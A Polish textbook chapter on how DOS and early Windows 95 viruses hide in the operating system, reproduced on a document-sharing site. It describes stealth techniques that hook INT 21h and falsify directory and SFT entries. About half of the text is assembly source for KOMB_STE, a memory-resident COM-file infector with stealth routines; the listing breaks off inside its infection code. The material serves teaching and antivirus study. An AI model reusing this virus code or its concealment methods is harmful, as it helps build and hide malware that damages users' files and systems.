Scrigroup - Documente si articole

     

HomeDocumenteUploadResurseAlte limbi doc
BulgaraCeha slovacaCroataEnglezaEstonaFinlandezaFranceza
GermanaItalianaLetonaLituanianaMaghiaraOlandezaPoloneza
SarbaSlovenaSpaniolaSuedezaTurcaUcraineana

AdministracjaBajkiBotanikaBudynekChemiaEdukacjaElektronikaFinanse
FizycznyGeografiaGospodarkaGramatykaHistoriaKomputerówKsiążekKultura
LiteraturaMarketinguMatematykaMedycynaOdżywianiePolitykaPrawaPrzepisy kulinarne
PsychologiaRóżnychRozrywkaSportowychTechnikaZarządzanie

Ukrywanie się w systemie operacyjnym

komputerów



+ Font mai mare | - Font mai mic



DOCUMENTE SIMILARE

Ukrywanie się w systemie operacyjnym

Każdemu twórcy wirusa zależy na tym, aby jego dzieło jak najdłużej pozostawało nie wykryte przez użytkownika zainfekowanego systemu. Jest to zrozumiałe, gdyż wykrycie wirusa zwykle kończy się tym, iż w niedługim czasie wpada on w ręce osób piszących programy antywirusowe, a to owocuje napisaniem szczepionki, za sprawą której wirus znika wkrótce z wirusowej sceny.



Niniejszy rozdział opisuje kilka najczęściej stosowanych przez wirusy technik ukrywania się w systemie operacyjnym. Niektóre z nich wymagają stałej obecności wirusa w pamięci, inne sprowadzają się do wykonania kilku operacji, które niejako na stałe ukrywają wirusa przed oczyma ciekawskich.

7.1. Technika stealth

Wirusy komputerowe modyfikują pliki i sektory, zmieniając ich zawartość (w przypadku plików zwykle powiększają jeszcze ich długość). Teoretycznie więc, aby wykryć wirusa, wystarczy odczytać plik lub sektor i odnaleźć w nim, przy użyciu skaningu, odpowiednią sekwencję (sygnaturę) wirusa. I rzeczywiście, metoda ta stosowana była z dużym powodzeniem aż do momentu, gdy pojawił się pierwszy wirus używający techniki stealth. Słowo stealth znaczy po angielsku niewidzialny. Takimi właśnie wydają się wirusy używające tej ciekawej sztuczki, która polega na kontroli odpowiednich funkcji systemu DOS lub BIOS, obsługujących pamięć i operacje dyskowe.

W momencie próby dowolnego dostępu do zainfekowanego pliku lub sektora uruchamiane są mechanizmy wirusa, które mają na celu oszukanie użytkownika.

Oszustwo polega na tym, iż fizycznie zarażony obiekt, po odpowiedniej obróbce przez wirusa, wygląda, jakby był nie zainfekowany. Różne odmiany techniki stealth zostały omówione poniżej.

7.1.1. Podawanie prawdziwych długości plików (ang. semi-stealth

Wirusy wykorzystujące tę technikę oszukują system poprzez podawanie rzeczywistych długości zainfekowanych plików, wyświetlanych po wykonaniu polecenia DIR lub też w oknie programów dos Navi-gator, Norton Commander, XtreeGold, Windows Commander czy też innych, mniej znanych nakładek.

Wyżej wymienione programy używają do przeszukiwania zawartości katalogu jednej z trzech par funkcji, z których pierwsza poszukuje pierwszego, a druga kolejnego wystąpienia w katalogu. Funkcje te to (1142/21), (4E/4F/21), (714E/714F/21). Oszukujący system wirus przejmuje te funkcje (niekoniecznie 'wszystkie) i monitoruje odpowiednie pola struktur, na których operuje dana funkcja.

W momencie wykonywania jednej z funkcji wirus wywołuje pierwotny program obsługi przerwania, a następnie modyfikuje elementy odpowiedniej struktury:

> pozycji katalogu (funkcje 11/12);

> DTA (funkcje 4E/4F);

> FindData (funkcje 714E/714F).

Modyfikacja polega na odjęciu długości wirusa od długości pliku opisywanej w odpowiednim polu struktury oraz najczęściej jakiejś modyfikacji czasu lub daty, będących znacznikiem zainfekowania pliku. Powyższe operacje wykonywane są oczywiście tylko po wykryciu obecności wirusa w znalezionym pliku.

7.1.1.1. Polecenie DIR wywoływane z poziomu DOS

Polecenie DIR używa do przeglądania zawartości katalogu, pary dwóch przeznaczonych specjalnie do tego celu funkcji (11,12/21). Obie funkcje korzystają z najstarszej metody operowania na plikach, a mianowicie z tzw. bloku opisu pliku FCB (ang. File Control Block},

podawanego jako parametr wejściowy do funkcji oraz z pola opisu pozycji katalogu, zwracanego po jej bezbłędnym wykonaniu w buforze DTA (ang. Disk Transfer Area), których opis przedstawiono w kolejnych tabelach.

Podczas odwołań do struktury FCB należy pamiętać, iż istnieją dwie wersje opisu bloku FCB: zwykły i rozszerzony, będący rozwinięciem bloku zwykłego (zawiera dodatkowe pola). Jeżeli pierwszy bajt bloku jest równy 0FFh, mamy do czynienia z rozszerzonym blokiem opisu pliku.

Adres aktualnego bufora DTA uzyskuje się za pomocą funkcji (2F/21), która umieszcza go w rejestrach ES:BX. Po powrocie z funkcji wskazują one bezpośrednio na pole opisu pozycji katalogu, w którym już bez przeszkód można odpowiednio modyfikować pola długości pliku (1C-1F) oraz czasu i daty ostatniej modyfikacji (18-19 i 1A-1B).

Struktura bloku opisu pliku FCB (zwykłego)

Adres

Zawartość

numer napędu (0=domyślny, 1=A, B=2,); jeżeli =OFFh, to rozszerzony blok opisu pliku FCB

8 bajtów nazwy pliku

09-0B

3 bajty rozszerzenia pliku

0C-0D

numer aktualnego bloku

0E-0F

długość logicznego rekordu

długość pliku

data ostatniej modyfikacji pliku

czas ostatniej modyfikacji pliku

ilość SFT dla pliku

atrybuty, znaczenie bitów

bity 7-6

00 - SHARE.EXE niezaładowany, plik dyskowy

- SHARE.EXE niezaładowany, sterownik

- SHARE.EXE załadowany, plik zdalny

- SHARE.EXE załadowany, plik dyskowy

lub sterownik bity 5-0 mniej znaczące 6 bitów ze słowa atrybutów

1A-1F

zawartość zależna od pola 19, bity 7-6

wartość 11

1A-1B numer pierwszej JAP pliku

1C-1D określa numer rekordu w dostępie dzielonym

1E atrybuty pliku

1F nie używane wartość

1A-1B uchwyt w sieci

1C-1F ID w sieci wartość

1A-1D wskaźnik do nagfówka sterownika

1E-1F nie używane

wartość 00

1A bajt informacyjny

bit 7: atrybut tytko do odczytu w SFT

bit 6: atrybut archiwalności w SFT

bity 5-0: wyższe bity numeru sektora

1B-1C numer pierwszej JAP pliku

1D-1F niższe bity sektora zawierającego adres w katalogu

1F ilość pozycji katalogu w sektorze

bieżący rekord

numer rekordu w dostępie swobodnym; jeżeli rozmiar rekordu 64 bajtów, bardziej znacząca część jest pomijana

Struktura bloku opisu pliku FCB (rozszerzonego)

Adres

Zawartość

wartość OFFh oznacza blok rozszerzony

zarezerwowane

atrybuty pliku

07-2B

zwykły blok opisu FCB (patrz poprzednia tabela)

Struktura pola opisu pozycji katalogu

Adres

Zawartość

nazwa pliku

08-0A

rozszerzenie pliku

0B

atrybuty pliku

0C-15

zarezerwowane

czas ostatniej modyfikacji pliku

data ostatniej modyfikacji pliku

1A-1B

numer pierwszej JAP

1C-1F

długość pliku

7.1.1.2. Programy nakładkowe używające krótkich nazw programów (DOS, Windows 3.1)

Nakładki operujące na krótkich nazwach plików (tzn. 8 znaków nazwy i 3 znaki rozszerzenia) używają do przeglądania katalogu funkcji (4E, 4F/21). Wynik wywołania tych funkcji zwracany jest w buforze DTA, jednak format opisu znalezionej pozycji katalogu jest inny niż podczas wywoływania funkcji (11,12/21). Nie zmienia się natomiast sam sposób oszukiwania systemu. Po wykryciu wywoływania którejś z funkcji, należy najpierw uruchomić ją za pomocą pierwotnego programu obsługi, a następnie odczytać adres bufora DTA i zmodyfikować odpowiednie pola struktury.

Pola struktury DTA pokazano poniżej. Najważniejsze z nich to: długość pliku (adres 1A-1D) oraz czas i data (adresy 16-17 i 18-19).

Struktura DTA

Adres

Zawartość

znaczenie bitów:

bity 6-0 numer napędu

bit 7 ustawiony, oznacza plik zdalny

01-0B

szablon poszukiwanych pozycji katalogu

0C

atrybuty poszukiwanej pozycji

0D-0E

numer wejścia w katalogu

0F-10

numer JAP katalogu nadrzędnego

zarezerwowane

atrybut znalezionej pozycji katalogu

czas ostatniej modyfikacji znalezionej pozycji katalogu

data ostatniej modyfikacji znalezionej pozycji katalogu

1A-1D

długość znalezionej pozycji katalogu

1E-2A

nazwa i rozszerzenie pliku

7.1.1.3. Programy wykorzystujące długie nazwy plików (Windows 95) oraz polecenie DIR wywoływane z poziomu okna Tryb MS-DOS

Wraz z pojawieniem się systemu Windows 95 wprowadzono tzw. Długie nazwy plików, którymi zastąpiono dotychczas używane (jedenastoznakowe). Mechanizm obslugi długich nazw plików jest dostępny wyłącznie wtedy, gdy aktywny jest system Windows oraz gdy zainstalowany jest tzw. Menedżer IFS.

Za obsługę długich nazw plików odpowiedzialna jest w systemie DOS funkcja (71??/21), gdzie ?? oznacza numer podfunkcji przekazywanej w rejestrze AL. Za pomocą takich podfunkcji zdublowano funkcje (z dokładnością do numerów) operujące na plikach, a dostępne we wcześniejszych wersjach systemu DOS. Za przeszukiwanie zawartości katalogu są więc odpowiedzialne dwie podfunkcje (714E,714F/21), operujące na wprowadzonej wraz z systemem Windows 95strukturze o nazwie FindData. Opisane funkcje są wykorzystywane m.in. przez polecenie DIR wywoływane w oknie Tryb MS-DOS (w systemie Windows 95).

Aby umożliwić różnym aplikacjom działającym w 32-bitowym środowisku graficznym obsługę długich nazw plików, ale bez konieczności odwoływania się do funkcji 16-bitowego systemu DOS, Windows 95 udostępnia analogicznie działające funkcje poprzez tzw. API (ang. Application Program Interface), odpowiednik przerwania 21h dla systemu DOS.

Kod większości funkcji systemowych dostępnych przez API zawarty jest w pliku KERNEL32.DLL, będącym częścią jądra systemu. Na przykład funkcji 714E odpowiada funkcja FindFirstFileA, zaś funkcji 714F - funkcja FindNextFileA. Z funkcji tych korzysta większość programów działających w systemie Windows 95, m.in. Explorator, a także różne programy nakładkowe, np. Wondows Commander 95, tak więc ich przejęcie pozwala na użycie techniki stealth również w systemie Windows 95 (na razie nie ma wirusa który potrafiłby to robić). Adresy do powyższych funkcji można odczytać z pliku KERNEL32.DLL (jest to nowy EXE typu PE), a uzyskane w ten sposób offsety należy zmodyfikować poprzez dodanie do ich adresu, pod którym znajduje się KERNEL32.DLL w pamięci. Niestety do dzisiaj nie jest znany mechanizm pozwalający na odczytanie tego adresu w sposób bezpośredni, bez używania funkcji API. Pierwszy wirus dla Windows 95 (Bizatch lub inaczej Boza) korzysta przy dostępie do funkcji systemowych ze stałego adresu, zapamiętanego w wirusie. Ze względu na to, że iż adres ten zmienia się w różnych podwersjach systemu Windows 95, należy przed jego użyciem sprawdzić, czy rzeczywiście jest on właściwy.

Opis struktury FindData zamieszczono poniżej.

Struktura FindData

Adres

Zawartość

atrybuty pliku

bity 0-6 standardowe atrybuty plików DOS

bit 8 plik tymczasowy (temporary)

04-0B

czas i data utworzenia pliku

0C-13

czas i data ostatniego dostępu do pliku

14-1B

czas i data ostatniej modyfikacji pliku

1C-1F

długość pliku (bardziej znaczące 32 bity)

długość pliku (mniej znaczące 32 bity)

24-2B

zarezerwowane

2C-12F

260-bajtowe pole pełnej nazwy pliku (jako ASCIIZ)

130-13D

14-bajtowe pole krótkiej nazwy pliku (jako ASCIZZ)

7.1.2. Podawanie oryginalnych długości i zawartości plików (ang.full stealth

Aby w pełni oszukiwać system, należy oprócz prawdziwych długości plików podawać także ich prawdziwą zawartość. W tym celu oprócz funkcji przeszukujących zawartość katalogu trzeba przejąć funkcje służące do manipulowania zawartością plików.

Najprościej w momencie otwierania pliku leczyć go, a w chwili zamykania - ponownie infekować. Powyższa metoda ma jednak kilka niedociągnięć. Główną jej wadą jest to, iż nie sprawdzi się ona na pewno na dyskach zabezpieczonych przed zapisem (klasycznym przykładem jest tu płyta CD lub zabezpieczona przed zapisem dyskietka). Należy też pamiętać, iż użytkownik z pewnością zauważy częste leczenie i ponowną infekcję plików, gdyż wszelkie operacje dyskowe będą przebłagały wolniej.

Powyższych wad nie posiada natomiast metoda polegająca na tym, aby w momencie odczytu dowolnego pliku sprawdzać, czy jest to plik zainfekowany i w locie leczyć go w pamięci, nie zmieniając jednak jego obrazu na dysku. W efekcie program odczytujący plik widzi jego oryginalną zawartość, zaś fizycznie plik nie jest zmieniany. Napisanie procedury stosującej powyższą metodę nie jest już jednak zadaniem tak łatwym, jak w poprzednim przypadku; należy rozważyć kilka możliwości związanych z położeniem wskaźnika zapisu/odczytu w stosunku do początku pliku. Aby uprościć to zadanie, często stosuje się zabieg polegający na tym, że przy otwieraniu zainfekowanego pliku zmniejsza się w wewnętrznych strukturach DOS (tablica SFT, opisana poniżej) jego długość o rozmiar wirusa. Wtedy, jedynym obszarem pliku, którym musi zająć się wirus, jest jego początek (np. w przypadku nagłówka plików EXE wirus powinien przywracać jego prawdziwą zawartość), gdyż operacje odczytu nigdy nie dojdą do dodanego na końcu pliku wirusa.

Przy programowaniu wirusa wykorzystującego technikę stealth często przydatne są dwie wewnętrzne funkcje DOS (1216/1220/2F), służące do operowania na wewnętrznych strukturach DOS, tzw. tablicach SFT (ang. System File Table), zawierających wszelkie informacje o otwartym pliku. W systemie może istnieć kilka podtablic SFT, połączonych w łańcuch. Dostęp do zawartych w nich informacji o pliku uzyskuje się na podstawie uchwytu pliku zwracanego przez funkcje (3D,6C/21) przy jego otwieraniu. Uchwyt ten podaje się jako parametr funkcji (1216/1220/2F). Po ich użyciu najpierw uzyskujemy adres tzw. tablicy JFT (ang. Job File Table), opisującej pliki otwarte w danym procesie. Na jej podstawie otrzymujemy adres tablicy SFT opisującej dany plik. Używa się do tego poniższej sekwencji:

; Uzyskiwanie informacji o pliku na podstawie jego uchwytu

MOV AX,1220h ; weƒ adres tablicy JFT zawieraj╣cej numer SFT,

; opisuj╣cej plik podany w BX

MOV BX,UchwytPliku ; BX zawiera uchwyt (numer) pliku

INT 2Fh ; wywo│aj funkcjΩ

MOV BL,ES:[DI] ; weƒ numer tablicy SFT

MOV AX,1216h ; weƒ adres tablicy SFT na podstawie numeru w BL

INT 2Fh ; wywo│aj funkcjΩ ES:DI wskazuje na tablicΩ SFT pliku

Jak widać, infekowanie pliku jest możliwe nawet przy jego zamykaniu. Format podtablicy SFT podano poniżej:

Format podtablicy SFT

Adres

Zawartość

Wskaźnik do następnej podtablicy

N - liczba plików w podtablicy

Opis pliku nr 1 w podtablicy - patrz następna tablica

Opis pliku nr N w podtablicy

Opis pliku zawarty w tablicy SFT

Adres

Zawartość

Liczba łączników do pliku

Tryb

Atrybut pliku

Informacja o pliku

07-0A

Wskaźnik do nagłówka programu obsługi lub do bloku DPB

0B-0C

Pierwsza JAP pliku

0D-0E

Czas ostatniej modyfikacji pliku

0F-11

Data ostatniej modyfikacji pliku

Rozmiar pliku

Aktualna pozycja wskaźnika odczytu/zapisu pliku

19-1A

Względny numer JAP

1B-1E

Położenie elementu katalogu opisującego plik

20-2A

Nazwa i rozszerzenie pliku

2B-2E

Wskaźnik do poprzedniego elementu SFT (pole programu SHARE)

2F-30

Numer komputera w sieci (pole programu SHARE)

Adres właściciela pliku (jego PSP)

Położenie w obszarze roboczym listy zablokowanych regionów pliku (pole programu SHARE)

Numer JAP

37-3A

Wskaźnik do IFS pliku lub 00000000h

Zamieszczony poniżej wirus stosuje technikę senii-stealth w odniesieniu do polecenia DIR i popularnych nakładek oraz full stealth oparty na tablicach SFT.

;

Czesc ksiazki : 'Nowoczesne techniki wirusowe i antywirusowe' ;

;

KOMB_STE v1.0, Autor : Adam Blaszczyk 1997 ;

;

Zmodyfikowany wirus KOMBAJN, rozszerzony o technike STEALTH ;

;

Informacje Techniczne ;

;

Wirus oszukuje uzytkownika w nastepujacy sposob : ;

_ Podaje prawdziwa dlugosc pliku podczas przegladania katalogu za ;

pomoca polecenia DIR ;

_ Podaje prawdziwa dlugosc pliku podczas przegladania katalogu za ;

pomoca nakladek typu Dos Navigator, Norton Commander ;

_ Nie pozwala przeczytac koncowej czesci pliku zawierajacej wirusa ;

(plik jest sztucznie 'ucinany' w tablicy SFT ) ;

;

Wirus nie monitoruje odczytow z poczatku pliku, tak wiec w zarazonych ;

plikach mozna go wykryc poprzez sprawdzenie czy pierwsza instrukcja ;

programu E9 xx xx wskazuje na koniec pliku. Dodatkowo, poniewaz wirus ;

informuje o wykonywanych przez siebie operacjach - w momencie wywolania ;

zainfekowanego programu, pojawi sie od niego komunikat mowiacy o tym, ;

iz wirus jest juz zainstalowany w pamieci. ;

;

; Kompilacja :  ;

TASM KOMB_STE.ASM ;

TLINK /t KOMB_STE.OB J ;

;

JUMPS

KOMB_STE SEGMENT

ASSUME CS:KOMB_STE, DS:KOMB_STE

ORG 100h

Haslo = 0BACAh ; do sprawdzenia czy wirus jest

Odpowiedz = 0CABAh ; / juz zainstalowany w pamieci

NUL = 00h ;

LF = 0Ah ; - stale znakow

CR = 0Dh ; /

AtrReadOnly = 00000001b ;

AtrHidden = 00000010b ;

AtrSystem = 00000100b ; rozne stale atrybutow

AtrVolumeID = 00001000b ; / pozycji katalogu

AtrDirectory = 00010000b ; /

AtrArchive = 00100000b ; /

DTAStruc struc ; struktura DTA bufora transmisji

; dyskowych uzywana przez

; funkcje 4E i 4F

DTAFill db 21 dup (?) ; nieistotna czesc struktury

DTAAttr db ? ; atrybut znalezionej pozycji

DTATime dw ? ; czas znalezionej pozycji

DTADate dw ? ; data znalezionej pozycji

DTASize dd ? ; dlugosc znalezionej pozycji

DTAName db 13 dup (?) ; nazwa znalezionej pozycji

DTAStruc ends

DIRStruc struc

DIRDrv db ? ; numer napedu

DIRName db 8 dup(?) ; nazwa znalezionej pozycji

DIRExt db 3 dup(?) ; rozszerzenie znalezionej pozycji

DIRAttr db ? ; atrybut znalezionej pozycji

DIRRes db 10 dup(?) ; zarezerwowane

DIRTime dw ? ; czas znalezionej pozycji

DIRDate dw ? ; data znalezionej pozycji

DIRStartJAP dw ? ; poczatkowa JAP znalezionej pozycji

DIRSize dd ? ; dlugosc znalezionej pozycji

DIRStruc ends

SFTStruc struc

SFTCntHnd dw ? ; ile uchwytow do pliku

SFTOpMode dw ? ; tryb otwarcia pliku

SFTAttr db ? ; atrybut pliku

SFTDevAttr dw ? ; informacja o urzadzeniu

SFTDevPtr dd ? ; adres do naglowka sterownika

; lub do DPB

SFTStartJAP dw ? ; poczatkowa JAP pliku

SFTTime dw ? ; czas pliku

SFTDate dw ? ; data pliku

SFTSize dd ? ; dlugosc znalezionej pozycji

SFTPos dd ? ; wskaznik odczytu/zapisu

SFTRes db 7 dup(?) ; pola nieistotne

SFTName db 11 dup(?) ; nazwa + rozszerzenie pliku

SFTStruc ends

VRok = 1998 ; data opisujaca

VMiesiac = 13 ; - pliki juz zainfekowane

VDzien = 31 ; /

VZnacznik = (VRok-1980)*512+VMiesiac*32+VDzien

DlugoscWirusa = (Offset KoniecWirusa-Offset PoczatekWirusa)

DlugoscWPamieci = (DlugoscWirusa +31)/16

Start:  ; poczatek wirusa

PoczatekWirusa: ; pomocnicza etykieta

Call Trik ; zapisz na stosie relatywny ofset

Trik:

pop si ; zdejmij ze stosu relatywny ofset

sub si,103h ; oblicz ofset do poczatku wirusa

mov ax,Haslo ; sprawdz, czy wirus jest

int 21h ; / juz w pamieci

cmp ax,Odpowiedz ; czy kopia wirusa odpowiedziala ?

jne InstalacjaWPamieci ; / NIE - zainstaluj

; TAK - wypisz komunikat

lea di,TeBylZainstalowany ; /

call DrukSI ; /

jmp PowrocDoNosiciela ; i powroc do nosiciela

InstalacjaWPamieci: ; poczatek instalacji

lea di,TeCopyRight ; wyswietl info o wirusie

Call DrukSI ; /

lea di,TeInstalacja ; zapytaj uzytkownika, czy chce

Call DrukSI ; zainstalowac wirusa w pamieci

Call Decyzja ; /

jc PowrocDoNosiciela ; / CF=1 uzytkownik nie chce instalowac

mov ax,3521h ; funkcja DOS - wez adres INT 21

int 21h ; wywolaj funkcje

mov [si][Stare21Seg],es ; zachowaj adres (wirus bedzie go

mov [si][Stare21Ofs],bx ; / uzywal)

mov ax,ds ; przywroc ES

mov es,ax ; AX=ES=DS=CS=SS=PSP

dec ax ; AX=ES-1=MCB aktualnego bloku pamieci

mov ds,ax ; DS=blok MCB aktualnego bloku pamieci

mov bx,word ptr ds:[0003h] ; wez dlugosc bloku pamieci

sub bx,DlugoscWPamieci+1 ; zmniejsz go o dlugosc wirusa

mov ah,4Ah ; funkcja DOS - zmien rozmiar bloku pamieci

int 21h ; wywolaj funkcje

mov bx,DlugoscWPamieci ; podaj jaki chcesz blok pamieci

mov ah,48h ; funkcja DOS - przydzial bloku

int 21h ; wywolaj funkcje

jc PowrocDoNosiciela ; CF=1 nie udalo sie przydzielic

mov es,ax ; ES=wskazuje na przydzielony blok

xor di,di ; ES:DI - dokad skopiowac

cld ; zwiekszaj SI, DI w REP MOVSB

push si ; SI bedzie zmieniany wiec zachowaj

add si,offset PoczatekWirusa ; dodaj skad kopiowac

mov cx,DlugoscWirusa ; cx=ile bajtow kopiowac

rep movs byte ptr es:[di], cs:[si] ; kopiuj z CS:SI do ES:DI, CX bajtow

pop si ; przywroc relatywny ofset

mov ax,es ; pobierz adres do MCB opisujacego

dec ax ; blok, w ktorym jest wirus

mov ds,ax ; DS=MCB wirusa

mov word ptr ds:[0001h],0008h ; ustaw MCB wirusa jako systemowy

sub ax,0Fh ; DS=adres bloku-10h

mov ds,ax ; sztuczka, dzieki ktorej mozna

; / odwolywac sie do danych jak w

; / zwyklym programie COM (ORG 100h)

mov dx,Offset NoweInt21 ; DX=adres do nowej procedury INT 21h

mov ax,25FFh ; funkcja DOS - ustaw adres INT 21

int 21h ; wywolaj funkcje

push cs ; wyswietl komunikat o

pop ds ; instalacji w pamieci

lea di,TeZainstalowany ; i segment, w ktorym

Call DrukSI ; / rezyduje wirus

mov ax,es ; /

Call DrukHEX16 ; /

PowrocDoNosiciela: ;

push cs cs ; przywroc DS=ES=CS=PSP

pop ds es ; /

mov al,byte ptr [si][StareBajty] ; przywroc 3 poczatkowe bajty

mov ds:[100h],al ; programu pod adresem CS:100h

mov ax,word ptr [si][StareBajty+1] ; /

mov ds:[101h],ax ; /

mov ax,100h ; zachowaj na stosie slad do

push ax ; / adresu 100h

xor ax,ax ; dla bezpieczenstwa

xor bx,bx ; lepiej wyzerowac rejestry

xor cx,cx ; robocze

xor dx,dx ; /

xor si,si ; /

xor di,di ; /

ret ; powroc do nosiciela

PytanieOInstalacje: ; odpowiedz rezydujacego

xchg al,ah ; - wirusa (na pytanie czy jest

iret ; / w pamieci)

NoweInt21:

cmp ax,4B00h ; czy funkcja DOS - uruchom program ?

je InfekcjaPliku ; TAK - sprobuj infekowac

cmp ax,Haslo ; czy pytanie wirusa o instalacje ?

je PytanieOInstalacje ; TAK - odpowiedz, ze zainstalowany

cmp ah,11h ; czy funkcje przeszukiwania ?

je STEALTH_11_12 ; katalogu uzywane przez

cmp ah,12h ; / polecenie DIR ?

je STEALTH_11_12 ; / TAK - oszukuj jesli trzeba

cmp ah,4Eh ; czy funkcje przeszukiwania ?

je STEALTH_4E_4F ; katalogu uzywane przez

cmp ah,4Fh ; / nakladki ?

je STEALTH_4E_4F ; / TAK - oszukuj jesli trzeba

cmp ah,3Dh

je STEALTH_3D

jmp PowrotZInt21 ; idz do poprzedniego lancucha

; przerwan

STEALTH_3D:

call UstawNowe24 ; ustaw obsluge bledow krytycznych

Call StareInt21 ; wywolaj stare przerwanie 21h

jc STEALTH_3D_Powrot2 ; CF=1 to blad

pushf ; zachowaj wartosci rejestrow

push es ax bx di ; / zmienionych przez wywolanie

mov bx,ax ; BX zawiera uchwyt (numer) pliku

mov ax,1220h ; wez adres tablicy JFT

int 2Fh ; wywolaj funkcje

jc STEALTH_3D_Powrot ; CF=1 Blad

mov bl,es:[di] ; wez numer tablicy SFT

mov bh,0 ; BX=BL

mov ax,1216h ; wez adres tablicy SFT na podstawie numeru w BL

int 2Fh ; wywolaj funkcje

jc STEALTH_3D_Powrot ; CF=1 Blad

cmp es:[di][SFTDate],VZnacznik ; czy znaleziona pozycja jest

; zainfekowana ?

jne STEALTH_3D_Powrot ; NIE - STEALTH niepotrzebne

cmp word ptr es:[di][SFTSize+2],0 ; czy dlugosc pliku >65535 ?

jne MozeMiecWirusa_3D ; TAK - moze byc zainfekowany

cmp word ptr es:[di][SFTSize],DlugoscWirusa

jb STEALTH_3D_Powrot ; czy dlugosc pliku >=dlug. wirus

; TAK - moze byc zainfekowany

; NIE - STEALTH niepotrzebne

MozeMiecWirusa_3D:

sub word ptr es:[di][SFTSize],DlugoscWirusa

; odejmij dlugosc wirusa

sbb word ptr es:[di][SFTSize+2],0

; uwzglednij ewent. pozyczke

; z bardziej znaczacej czesci

STEALTH_3D_Powrot:

pop di bx ax es ; przywroc odpowiednie wartosci

popf ; / rejestrow

STEALTH_3D_Powrot2:

Call PrzywrocStare24 ; przywroc stara obsluge bledow krytycznych

retf 2 ; powrot z zachowaniem ustawionych znacznikow

; ES:DI wskazuje na tablicα SFT pliku

STEALTH_11_12:

call UstawNowe24 ; ustaw obsluge bledow krytycznych

Call StareInt21 ; wywolaj stare przerwanie 21h

or al,al ; CZY AL=0

jnz STEALTH_11_12_Powrot2 ; AL<>0 to blad

pushf ; zachowaj wartosci rejestrow

push es ax bx ; / zmienionych przez wywolanie

mov ah,2Fh ; funkcja DOS - wez adres do DTA

Call StareInt21 ; wywolaj stare przerwanie 21h

cmp es:[bx][DIRDrv],0FFh ; czy rozszerzony FCB ?

jne ZwyklyFCB ; NIE - zwykly FCB

add bx,7 ; dodaj przesuniecie

; teraz ES:BX=wskazuje na zwykly FCB

ZwyklyFCB:

cmp es:[bx][DIRDate],VZnacznik ; czy znaleziona pozycja jest

; zainfekowana ?

jne STEALTH_11_12_Powrot ; NIE - STEALTH niepotrzebne

cmp word ptr es:[bx][DTASize+2],0 ; czy dlugosc pliku >65535 ?

jne MozeMiecWirusa_11_12 ; TAK - moze byc zainfekowany

cmp word ptr es:[bx][DTASize],DlugoscWirusa

jb STEALTH_11_12_Powrot ; czy dlugosc pliku >= dlugosc wirusa

; TAK - moze miec wirusa

; NIE - STEALTH niepotrzebne

MozeMiecWirusa_11_12:

sub word ptr es:[bx][DTASize],DlugoscWirusa

; odejmij dlugosc wirusa

sbb word ptr es:[bx][DTASize+2],0

; uwzglednij ewent. pozyczke

; z bardziej znaczacej czesci

STEALTH_11_12_Powrot:

pop bx ax es ; przywroc odpowiednie wartosci

popf ; / rejestrow

STEALTH_11_12_Powrot2:

Call PrzywrocStare24 ; przywroc stara obsluge bledow krytycznych

retf 2 ; powrot z zachowaniem ustawionych znacznikow

STEALTH_4E_4F:

call UstawNowe24 ; ustaw obsluge bledow krytycznych

Call StareInt21 ; wywolaj stare przerwanie 21h

jc STEALTH_4E_4F_Powrot2 ; CF=1 to blad

pushf ; zachowaj wartosci rejestrow

push es ax bx ; / zmienionych przez wywolanie

mov ah,2Fh ; funkcja DOS - wez adres do DTA

Call StareInt21 ; wywolaj stare przerwanie 21h

cmp es:[bx][DTADate],VZnacznik ; czy znaleziona pozycja jest

; zainfekowana ?

jne STEALTH_4E_4F_Powrot ; NIE - STEALTH niepotrzebne

cmp word ptr es:[bx][DTASize+2],0 ; czy dlugosc pliku >65535 ?

jne MozeMiecWirusa_4E_4F ; TAK - moze byc zainfekowany

cmp word ptr es:[bx][DTASize],DlugoscWirusa

jb STEALTH_4E_4F_Powrot ; czy dlugosc pliku >=dlug. wirusa

; TAK - moze byc zainfekowany

; NIE - STEALTH niepotrzebne

MozeMiecWirusa_4E_4F:

sub word ptr es:[bx][DTASize],DlugoscWirusa

; odejmij dlugosc wirusa

sbb word ptr es:[bx][DTASize+2],0

; uwzglednij ewent. pozyczke

; z bardziej znaczacej czesci

STEALTH_4E_4F_Powrot:

pop bx ax es ; przywroc odpowiednie wartosci

popf ; / rejestrow

STEALTH_4E_4F_Powrot2:

Call PrzywrocStare24 ; przywroc stara obsluge bledow krytycznych

retf 2 ; powrot z zachowaniem ustawionych znacznikow

InfekcjaPliku:

push es ds ax bx cx dx si di ; zachowaj zmieniane rejestry

mov cs:StaryDS, ds ; zachowaj adres do nazwy pliku

mov cs:StaryDX, dx ; /

call UstawNowe24

mov ax,4300h ; funkcja DOS - czytaj atrybut

Call StareInt21 ; wywolaj stare przerwanie 21h

jc PrzywrocAtrybut ; CF=1 blad wiec powrot

mov cs:Atrybut,cl ; wez stary atrybut

mov ax,4301h ; funkcja DOS - zapisz atrybut

mov cx,AtrArchive ; podaj nowy atrybut : Archive

Call StareInt21 ; wywolaj stare przerwanie 21h

jc PrzywrocAtrybut

mov ax,3D02h ; funkcja DOS - otworz plik

; do odczytu i zapisu

Call StareInt21 ; wywolaj stare przerwanie 21h

jc PrzywrocAtrybut ; gdy CF=1, to blad

xchg ax,bx ; przenies uchwyt pliku do BX

mov ax,5700h ; funkcja DOS - wpisz date, czas

Call StareInt21 ; wywolaj stare przerwanie 21h

mov cs:Czas,cx ; zachowaj czas pliku na pozniej

cmp dx,VZnacznik ; czy plik jest juz zainfekowany ?

je ZamknijPlik ; TAK - zamknij plik, powrot

push cs ; DS=CS=segment wirusa

pop ds ; /

mov cx,3 ; ilosc czytanych bajtow

lea dx,StareBajty ; podaj dokad czytac 3 bajty

mov ah,3Fh ; funkcja DOS - czytaj z pliku

Call StareInt21 ; wywolaj stare przerwanie 21h

jc ZamknijPlik ; gdy CF=1, to blad

mov ax,word ptr [StareBajty] ; wez dwa pierwsze bajty pliku

cmp ax,'MZ' ; i sprawdz, czy to nie EXE

je ZamknijPlik ; gdy 'MZ' to plik EXE, powrot

cmp ax,'ZM' ;

je ZamknijPlik ; gdy 'ZM' to plik EXE, powrot

xor cx,cx ; zeruj CX:DX zawierajace

xor dx,dx ; / adres wzgledem konca pliku

mov ax,4202h ; funkcja DOS - zmien wskaznik

; odczytu/zapisu na koniec pliku

Call StareInt21 ; wywolaj stare przerwanie 21h

jc ZamknijPlik ; gdy CF=1, to blad

; DX = starsza czesc dlugosci pliku

or dx,dx ; czy plik krotszy niz 65536 ?

jnz ZamknijPlik ; NIE - nie infekuj

cmp ax,64000 ; czy dlugosc <= 64000 ?

ja ZamknijPlik ; NIE - nie infekuj

cmp ax,3 ; czy dlugosc >= 3 ?

